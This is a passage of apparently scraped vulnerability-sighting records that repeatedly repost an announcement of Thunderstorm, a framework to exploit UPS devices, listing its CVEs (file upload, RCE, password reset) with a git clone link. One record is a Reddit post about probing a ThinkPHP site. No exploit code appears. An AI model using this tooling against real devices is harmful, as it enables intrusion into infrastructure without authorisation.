Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-01T20:01:03.595361Z"}, {"uuid": "cc54ac9e-3c51-472d-8bde-d18ee3a1f4e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.634061Z"}, {"uuid": "33291962-6b3d-4f8a-ba59-47a2605696a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.672928Z"}, {"uuid": "5c46ef4c-c1ab-4750-9d19-3b27a3074228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.726279Z"}, {"uuid": "eb618431-689d-4d06-8362-f632c90e29c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.769638Z"}, {"uuid": "802addf4-90c9-4cb6-beb1-036389dc6a39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.807752Z"}, {"uuid": "39ac7c8a-51b8-43e3-8282-38d81cf1d426", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.845776Z"}, {"uuid": "7a241333-2165-443b-9945-9e1700ef50c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.883665Z"}, {"uuid": "68bba0a3-0392-486a-8263-ee7126f836d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-01T20:01:03.943589Z"}, {"uuid": "88270171-7047-4bed-ade6-b4a250b77d88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/hacking_Attack/187001", "content": "PHP may not have as many problems as people think.\nhttps://www.reddit.com/r/Pentesting/comments/1u2ahtj/php_may_not_have_as_many_problems_as_people_think/\n\nWe always thought PHP had many vulnerabilities, but that is not really true. Recently, I have been testing a website that uses ThinkPHP 5.0.24 and FastAdmin. I found the server IP address, subdomains, and some paths such as main, api, admin, and img. I checked:  File upload (CVE-2022-44289) Some serialized interfaces SQL injection testing on the login page with sqlmap Weak passwords on the login page CVEs: CVE-2024-7928, CVE-2022-47945, CVE-2021-23592 Nginx 1.26.1, no serious vulnerabilities found MySQL is installed, port 3306 is open  I am still testing:  PHP vulnerabilities (7.2, 7.3, 7.4, etc.)  Now I am confused. What should I do next?    submitted by    /u/Able_Statistician201  (https://www.reddit.com/user/Able_Statistician201) \n [link] (https://www.reddit.com/r/Pentesting/comments/1u2ahtj/php_may_not_have_as_many_problems_as_people_think/)   [comments] (https://www.reddit.com/r/Pentesting/comments/1u2ahtj/php_may_not_have_as_many_problems_as_people_think/)", "creation_timestamp": "2026-09-02T01:00:20.912884Z"}, {"uuid": "00d11354-7188-4d68-a6ab-9dd6d101ac03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:23.227604Z"}, {"uuid": "5993c554-cc27-406d-98cf-9a9d47d88890", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:23.276821Z"}, {"uuid": "6933154b-8d57-4f5a-8ec2-5eaf04de852c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # 